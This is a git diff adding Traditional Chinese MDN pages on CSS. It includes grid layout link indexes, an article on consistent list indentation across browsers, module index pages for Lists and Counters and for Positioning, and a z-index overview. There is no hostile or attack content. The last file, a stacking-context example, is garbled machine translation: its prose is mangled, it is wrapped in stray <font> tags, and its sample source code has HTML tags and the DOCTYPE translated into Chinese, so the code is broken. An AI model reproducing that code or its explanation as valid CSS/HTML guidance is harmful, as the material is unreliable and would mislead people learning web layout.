+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-area")}}</li>
+ <li>{{cssxref("grid-row-gap")}}</li>
+ <li>{{cssxref("grid-column-gap")}}</li>
+ <li>{{cssxref("grid-gap")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_函式">CSS 函式</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("repeat", "repeat()")}}</li>
+ <li>{{cssxref("minmax", "minmax()")}}</li>
+ <li>{{cssxref("fit-content", "fit-content()")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_資料型別">CSS 資料型別</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;flex&gt;")}}</li>
+</ul>
+</div>
+
+<h3 id="詞匯表條目">詞匯表條目</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/zh-TW/docs/Glossary/Grid">格線</a></li>
+ <li><a href="/zh-TW/docs/Glossary/Grid_Lines">網格線</a></li>
+ <li><a href="/zh-TW/docs/Glossary/Grid_Tracks">格線軌道</a></li>
+ <li><a href="/zh-TW/docs/Glossary/Grid_Cell">格線單元</a></li>
+ <li><a href="/zh-TW/docs/Glossary/Grid_Areas">格線區域</a></li>
+ <li><a href="/zh-TW/docs/Glossary/Gutters">間距</a></li>
+ <li><a href="/zh-TW/docs/Glossary/Grid_Axis">格線軸</a></li>
+ <li><a href="/zh-TW/docs/Glossary/Grid_Rows">格線行</a></li>
+ <li><a href="/zh-TW/docs/Glossary/Grid_Column">格線列</a></li>
+</ul>
+</div>
+
+<h2 id="指引">指引</h2>
+
+<div class="index">
+<ul>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">格線布局的基本概念</a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">格線布局與其它布局的關係</a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">使用指定的格線命名排版</a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">格線模板區域</a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">使用指定的網格線排版</a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">在 CSS 自動放置格線布局</a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">用 Box 對齊 CSS 格線布局</a></li>
+ <li><br>
+  <a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS 格線、邏輯值和寫作模式</a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS 格線布局與無障礙</a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS 格線與漸進增強</a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Realising_common_layouts_using_CSS_Grid_">用 CSS 格線實做常見排版</a></li>
+</ul>
+</div>
+
+<h2 id="外部資源">外部資源</h2>
+
+<ul>
+ <li><a href="http://labs.jensimmons.com/">Jen Simmons 的示範</a></li>
+ <li><a href="http://gridbyexample.com/">格線示例：一些影片教學與使用範例</a></li>
+ <li><a href="https://tympanus.net/codrops/css_reference/grid/">Codrops 格線參考</a></li>
+ <li><a href="/zh-TW/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox DevTools CSS Grid Inspector</a></li>
+ <li><a href="https://mozilladevelopers.github.io/playground/">CSS Grid Playground</a></li>
+</ul>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">格式</th>
+   <th scope="col">狀態</th>
+   <th scope="col">意見</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Grid') }}</td>
+   <td>{{ Spec2('CSS3 Grid') }}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/zh-TW/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/Reference"><strong>CSS 參考</strong></a></li>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout">CSS 格線布局</a></li>
+ <li data-default-state="open"><a href="#"><strong>參考</strong></a>
+  <ol>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">格線布局基本概念</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">與其他布局的關系</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">基於行展示的位置</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">格線模板區域</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">使用指定網格線布局</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">自動放置格線布局</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">格線布局中的框對齊</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">格線，邏輯值和寫入模式</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS 格線布局和輔助功能</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS 格線布局與漸進式增強</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">使用格線實現常見的布局</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-area">網格</a> </li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-area">網格區域</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-auto-columns">網格自動列</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-auto-flow">網格自動流</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-auto-rows">網格自動行</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-column">網格列</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-column-end">結束網格列</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-column-gap">網格柱間隙</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-column-start">啟動網格</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-gap">網格間隙</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-row">網格行</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-row-end">結束網格行</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-row-gap">網格行間隙</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-row-start">啟動網格行</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-template">網格模板</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-template-areas">網格模板區域</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-template-columns">網格模板的列</a></li>
+   <li><a href="/zh-TW/docs/Web/CSS/grid-template-rows">網格模板的行</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>詞匯表</strong></a>
+  <ol>
+   <li><a href="/zh-TW/docs/Glossary/Grid">格線</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_lines">網格線</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_tracks">網格軌道</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_cell">網格單元格</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_areas">網格區域</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Gutters">间距</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_Axis">網格軸</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_rows">網格行</a></li>
+   <li><a href="/zh-TW/docs/Glossary/Grid_column">網格列</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/zh-tw/web/css/css_lists_and_counters/consistent_list_indentation/index.html b/files/zh-tw/web/css/css_lists_and_counters/consistent_list_indentation/index.html
new file mode 100644
index 0000000000..cdde84086c
--- /dev/null
+++ b/files/zh-tw/web/css/css_lists_and_counters/consistent_list_indentation/index.html
@@ -0,0 +1,67 @@
+---
+title: 調整列表縮排
+slug: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation
+tags:
+  - CSS
+  - list indent
+  - 列表
+  - 縮排
+translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation
+---
+<p>原文 : <a href="/en/Consistent_List_Indentation" title="en/Consistent_List_Indentation">Consistent List Indentation</a></p>
+
+
+<p>  使用 CSS 來協助縮排列表看來簡單實則卻否，原因很簡單 - 各大瀏覽器其實作方式不盡相同。一個很大的原因來自於對距離的掌握，但這很讓人喪志，因為瀏覽器沒有一致的排版方式。舉例來說，倘若你宣告一個 list 沒有 left margin，在 IE 中他可以被移動，但在 Gecko-based 的瀏覽器中他們將很固執的固定在那。</p>
+
+  <p>  為了更徹底明白為何有這種情況發生，了解列表是怎樣被創造的至關重要。</p>
+  <h3 id="Making_a_List" name="Making_a_List">創建列表</h3>
+  <p>  首先，我們考慮一個最簡單的 list item。他並不屬於任何一個 list 中，並且也沒有項目符號 (意思就是沒有 bullet )。如 Figure 1 所示：</p>
+  <p><img align="none" alt="Figure 1" class="internal" src="/@api/deki/files/619/=Consistent-list-indentation-figure1.gif"></p>
+  <p>  這裡的紅點線框是 list 內容的外框。在這裡的例子中， list item 並沒有設定 padding 或 borders。現在我們加上兩個 list item，如圖二：</p>
+  <p><img align="none" alt="Figure 2" class="internal" src="/@api/deki/files/620/=Consistent-list-indentation-figure2.gif"></p>
+  <p>  接著我們加上 parent element，這裡我們以 unordered list (i.e., <code>&lt;ul&gt;</code>)為例。根據 CSS box model，這些 list item 都會被包裹在 parent element 的範圍中。如下圖中的紫色外框，他包住了三個 list item 的外圍：</p>
+  <p><img align="none" alt="Figure 3" class="internal" src="/@api/deki/files/621/=Consistent-list-indentation-figure3.gif"></p>
+  <p>  然後我們加上 list item markers。因為我們用的是 unordered list，因此使用預設的 filled-circle "bullets"。結果如下：</p>
+  <p><img align="none" alt="Figure 4" class="internal" src="/@api/deki/files/622/=Consistent-list-indentation-figure4.gif"></p>
+  <p>  好的，現在看出來了，這些 marker 在 <code>&lt;ul&gt; 空間之外。但更重要的是，這些 marker 其實是在 &lt;li&gt; 之外！這個結果使得 list item 看起來像是附加在 marker 之上。</code></p>
+  <p>  結論出來了，在瀏覽器(除了 windows 下的 IE)處理列表時， marker 是在 <code>&lt;li&gt;</code> element 的外頭。所以這些個對 list item 的設定並不會對 marker 造成影響，影響的是其後附加的內容。</p>
+  <h3 id="Indenting_It_Twice" name="Indenting_It_Twice">二次縮排</h3>
+  <p>  所以我們該如何設定其外觀？現在讓我們來分析一下下們這組設定：</p>
+  <pre>ul, li {margin-left: 0; padding-left: 0;}</pre>
+  <p>  當套用了這組設定， marker 將會很悲劇的落到畫面之外。</p>
+  <p>  為了避免這種慘劇發生，瀏覽器有三種不同的實作方式來避免：</p>
+  <ol>
+    <li>幫每一個 <code>&lt;li&gt;</code> element 設定 left margin</li>
+    <li>幫 <code>&lt;ul&gt;</code> element 設定 left margin</li>
+    <li>幫 <code>&lt;ul&gt;</code> element 設定一些 left padding</li>
+  </ol>
+  <p>  事後檢視，沒有瀏覽器採用第一種作法。Windows and Macintosh 上的 Internet Explorer 和 Opera 採用第二種作法。Gecko 相關的瀏覽器則使用第三種設計。</p>
+  <p>  現在讓我們來瞧瞧後兩種作法的差異。在 Internet Explorer 及 Opera 中，&lt;ul&gt; element 為了縮排需要被設定了 40 pixel 的 left margin。假如我們此時在 <code>&lt;ul&gt;</code> element 設定背景顏色，其結果如下：</p>
+  <p><img align="none" alt="Figure 5" class="internal" src="/@api/deki/files/623/=Consistent-list-indentation-figure5.gif"></p>
+  <p>  Gecko 則不太一樣，他為 <code>&lt;ul&gt;</code> element 設定了 40 pixel 的 left <em>padding</em>。因此造成上圖的程式碼會在 Gecko 中變成下圖：</p>
+  <p><img align="none" alt="Figure 6" class="internal" src="/@api/deki/files/624/=Consistent-list-indentation-figure6.gif"></p>
+  <p>  從結果來說，marker 都很好的附著在 <code>&lt;li&gt;</code> element 之前並未消失。唯一的不同點是發生在你替 <code>&lt;ul&gt;</code> element 設定背景顏色時。</p>
+  <h3 id="Finding_Consistency" name="Finding_Consistency">不變的是 ...</h3>
+  <p>  現在我們知道，若你希望在 Gecko, Internet Explorer 和 Opera 都有一樣的 list 外觀， <code>&lt;ul&gt;</code> element 的 left margin 和 left padding 都要設定。你大可不必理會 <code>&lt;li&gt;</code> 的設定。</p>
+  <p>  假如你想要有 Netscape 6.x 的預設風格，寫法如下：</p>
+  <pre>ul {margin-left: 0; padding-left: 40px;}</pre>
+  <p>  若你對 Explorer/Opera 風格有興趣，可以寫成：</p>
+  <pre>ul {margin-left: 40px; padding-left: 0;}</pre>
+  <p>  當然啦，你可以不用 pixel 來表示長度，取而代之的可以使用類似 <code>1.25em</code> 的寫法。現在若你想要重設列表，而不打算有任何縮排，可以這樣寫：</p>
+  <pre>ul {margin-left: 0; padding-left: 0;}</pre>
+  <p>  請注意，這樣的寫法將造成 bullet 被扔在整個列表及其 parent element 之外。當你在 <code>body 中這樣寫，很顯然的你的 </code>bullet 將不會出現在你的視窗內。</p>
+  <h3 id="Conclusion" name="Conclusion">結論</h3>
+  <p>  在這篇文章中我們並未指出哪個瀏覽器對 list 縮排的處理是正確的。之所以會有不同的排版方式只是因為他們採用了不同的排版方法。確定你設定了 list 的 left padding 和 left margin，這樣你比較能寫出跨瀏覽器良好縮排程式。</p>
+  <h3 id="Recommendations" name="Recommendations">建議</h3>
+  <ul>
+    <li>在你調整列表的縮排時，務必確定你設定了 padding 和 margin。</li>
+  </ul>
+  <div class="originaldocinfo">
+    <h3 id="Original_Document_Information" name="Original_Document_Information">關於此文件</h3>
+    <ul>
+      <li>Author(s): Eric A. Meyer, Netscape Communications</li>
+      <li>Last Updated Date: Published 30 Aug 2002</li>
+      <li>Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+      <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+    </ul>
+  </div>
diff --git a/files/zh-tw/web/css/css_lists_and_counters/index.html b/files/zh-tw/web/css/css_lists_and_counters/index.html
new file mode 100644
index 0000000000..08b7fc4bcf
--- /dev/null
+++ b/files/zh-tw/web/css/css_lists_and_counters/index.html
@@ -0,0 +1,127 @@
+---
+title: CSS Lists and Counters
+slug: Web/CSS/CSS_Lists_and_Counters
+translation_of: Web/CSS/CSS_Lists_and_Counters
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Lists and Counters</strong> is a module of CSS that defines how lists are laid out, how the list marker can be styled and how authors can create new counters.</p>
+
+<h2 id="參考">參考</h2>
+
+<h3 id="屬性">屬性</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("list-style-image")}}</li>
+ <li>{{cssxref("list-style-type")}}</li>
+ <li>{{cssxref("list-style-position")}}</li>
+ <li>{{cssxref("list-style")}}</li>
+ <li>{{cssxref("counter-reset")}}</li>
+ <li>{{cssxref("counter-increment")}}</li>
+</ul>
+</div>
+
+<h3 id="At-rules">At-rules</h3>
+
+<dl>
+ <dt>{{cssxref("@counter-style")}}</dt>
+ <dd>
+ <div class="index">
+ <ul>
+  <li>{{cssxref("@counter-style/system","system")}}</li>
+  <li>{{cssxref("@counter-style/additive-symbols", "additive-symbols")}}</li>
+  <li>{{cssxref("@counter-style/negative", "negative")}}</li>
+  <li>{{cssxref("@counter-style/prefix", "prefix")}}</li>
+  <li>{{cssxref("@counter-style/suffix", "suffix")}}</li>
+  <li>{{cssxref("@counter-style/range", "range")}}</li>
+  <li>{{cssxref("@counter-style/pad", "pad")}}</li>
+  <li>{{cssxref("@counter-style/speak-as", "speak-as")}}</li>
+  <li>{{cssxref("@counter-style/fallback", "fallback")}}</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="指南">指南</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation">Consistent list indentation</a></dt>
+ <dd>Explains how to reach a consistent indentation between different browsers.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">Using CSS counters</a></dt>
+ <dd>Describes how to use counters to be able to use numbering outside of traditional list elements or to perform complex counting.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Lists')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/css/css_positioning/index.html b/files/zh-tw/web/css/css_positioning/index.html
new file mode 100644
index 0000000000..0fe6fd55d0
--- /dev/null
+++ b/files/zh-tw/web/css/css_positioning/index.html
@@ -0,0 +1,108 @@
+---
+title: CSS Positioning
+slug: Web/CSS/CSS_Positioning
+translation_of: Web/CSS/CSS_Positioning
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>CSS Positioning</strong> is a module of CSS that defines how to absolutely and relavitely position elements on the page.</p>
+
+<h2 id="參考">參考</h2>
+
+<h3 id="CSS_屬性">CSS 屬性</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("bottom")}}</li>
+ <li>{{cssxref("clear")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("float")}}</li>
+ <li>{{cssxref("left")}}</li>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("right")}}</li>
+ <li>{{cssxref("top")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("z-index")}}</li>
+</ul>
+</div>
+
+<h2 id="指南">指南</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index">Understanding CSS z-index</a></dt>
+ <dd>Presents the notion of stacking context and explain how z-ordering works, with several examples.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Positioning') }}</td>
+   <td>{{ Spec2('CSS3 Positioning') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visuren.html') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>5.0</td>
+   <td>6.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/css/css_positioning/understanding_z_index/index.html b/files/zh-tw/web/css/css_positioning/understanding_z_index/index.html
new file mode 100644
index 0000000000..8bfd77a677
--- /dev/null
+++ b/files/zh-tw/web/css/css_positioning/understanding_z_index/index.html
@@ -0,0 +1,40 @@
+---
+title: Understanding CSS z-index
+slug: Web/CSS/CSS_Positioning/Understanding_z_index
+tags:
+  - Advanced
+  - CSS
+  - Guide
+  - NeedsTranslation
+  - TopicStub
+  - Understanding_CSS_z-index
+  - Web
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index
+---
+<p>Usually HTML pages can be considered two-dimensional, because text, images and other elements are arranged on the page without overlapping. There is a single rendering flow, and all elements are aware of the space taken by others. <span class="seoSummary">The {{cssxref("z-index")}} attribute lets you adjust the order of the layering of objects when rendering content.</span></p>
+<blockquote>
+ <p style=""><em>In CSS 2.1, each box has a position in three dimensions. In addition to their horizontal and vertical positions, boxes lie along a "z-axis" and are formatted one on top of the other. Z-axis positions are particularly relevant when boxes overlap visually.</em></p>
+</blockquote>
+<p>(from <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#z-index">CSS 2.1 Section 9.9.1 - Layered presentation</a>)</p>
+<p>It means that CSS style rules allow you to position boxes on layers in addition to the normal rendering layer (layer 0). The Z position of each layer is expressed as an integer representing the stacking order for rendering. Greater numbers mean closer to the observer. Z position can be controlled with the CSS {{ cssxref("z-index") }} property.</p>
+<p>Using z-index appears extremely easy: a single property, assigned a single integer number, with an easy-to-understand behaviour. However, when z-index is applied to complex hierarchies of HTML elements, its behaviour can be hard to understand or even unpredictable. This is due to complex stacking rules. In fact a dedicated section has been reserved in the CSS specification <a class="external" href="http://www.w3.org/TR/CSS21/zindex.html">CSS-2.1 Appendix E</a> to explain these rules better.</p>
+<p>This article will try to explain those rules, with some simplification and several examples.</p>
+<ol>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+ <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level</li>
+</ol>
+<p><small><em>Note of the author: Thanks to Wladimir Palant and Rod Whiteley for the review.</em> </small></p>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+  <li>Author(s): Paolo Lombardi</li>
+  <li>This article is the English translation of an article I wrote in Italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+  <li>Last Updated Date: July 9th, 2005</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html b/files/zh-tw/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html
new file mode 100644
index 0000000000..26771f0fbb
--- /dev/null
+++ b/files/zh-tw/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html
@@ -0,0 +1,139 @@
+---
+title: Stacking context example 1
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1
+---
+<p><font><font>« </font></font><a href="/en/CSS" title="CSS"><font><font>CSS</font></font></a><font><font> « </font></font><a href="/en/CSS/Understanding_z-index" title="了解CSS的z-index"><font><font>理解CSS的z-index</font></font></a></p>
+
+<h3 id="堆疊環境範例1"><font><font>堆疊環境範例1</font></font></h3>
+
+<p><font><font>讓我們先從一個基本的例子。</font><font>根堆疊情況下，我們有兩個div（DIV＃1和＃DIV 3），兩種相對定位的，但是如果沒有的z-index屬性。</font><font>裡面DIV＃1有一個絕對定位的div＃2，而在DIV＃3有一個絕對定位的div＃4，雙方沒有的z-index屬性。</font></font></p>
+
+<p><font><font>唯一的堆疊上下文是根上下文。</font><font>如果沒有Z-指標，要素依次層疊的發生。</font></font></p>
+
+<p><img alt="堆疊環境範例1" class="internal" src="/@api/deki/files/914/=Understanding_zindex_05a.png"></p>
+
+<p><font><font>如果DIV＃2被分配一個正的（非零和非自動）z索引值，它是上述所有其他的DIV呈現。</font></font></p>
+
+<p><img alt="堆疊環境範例1" class="internal" src="/@api/deki/files/915/=Understanding_zindex_05b.png"></p>
+
+<p><font><font>然後，如果DIV＃4也被分配比DIV＃2的Z指數正z指數越大，它上面的所有其他的DIV DIV，包括2＃呈現。</font></font></p>
+
+<p><img alt="堆疊環境範例1" class="internal" src="/@api/deki/files/916/=Understanding_zindex_05c.png"></p>
+
+<p><font><font>在最後的例子，你可以看到，DIV＃2和＃DIV 4不兄弟姐妹，因為它們屬於不同的家長在HTML元素的層次結構。</font><font>即便如此，DIV＃4堆疊相的DIV＃2可以通過z索引來控制。</font><font>碰巧的是，由於DIV＃1和＃DIV 3不指定任何的z-index值，他們不創造一個堆疊環境。</font><font>這意味著，所有的內容，包括DIV＃2和DIV＃4屬於相同根堆疊環境。</font></font></p>
+
+<p><font><font>在堆疊上下文而言，DIV＃1和DIV＃3簡單地同化到根元素，將得到的層次結構如下：</font></font></p>
+
+<ul>
+ <li><font><font>根堆疊環境</font></font>
+
+  <ul>
+   <li><font><font>DIV＃2（Z-指數1）</font></font></li>
+   <li><font><font>DIV＃4（Z-指數2）</font></font></li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note"><strong><font><font>注：</font></font></strong><font><font> DIV＃1和＃DIV 3不適透亮。</font><font>重要的是要記住，分配的不透明度小於1到定位的元素隱式創建一個疊加的背景下，就像一個加入的z-index值是非常重要的。</font><font>這個例子顯示，當父元素不會創建一個堆疊環境會發生什麼。</font></font></div>
+
+<h3 id="示例源代碼"><strong><font><font>示例源代碼</font></font></strong></h3>
+
+<pre class="brush: html"><font><font>&lt;！DOCTYPE HTML PUBLIC“ -  // W3C // DTD XHTML 1.0過渡// EN”</font></font><font><font>
+“http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt;</font></font><font><font>
+&lt;HTML&gt;</font></font><font><font>
+&lt;HEAD&gt; &lt;風格類型=“文本/ CSS”&gt;</font></font>
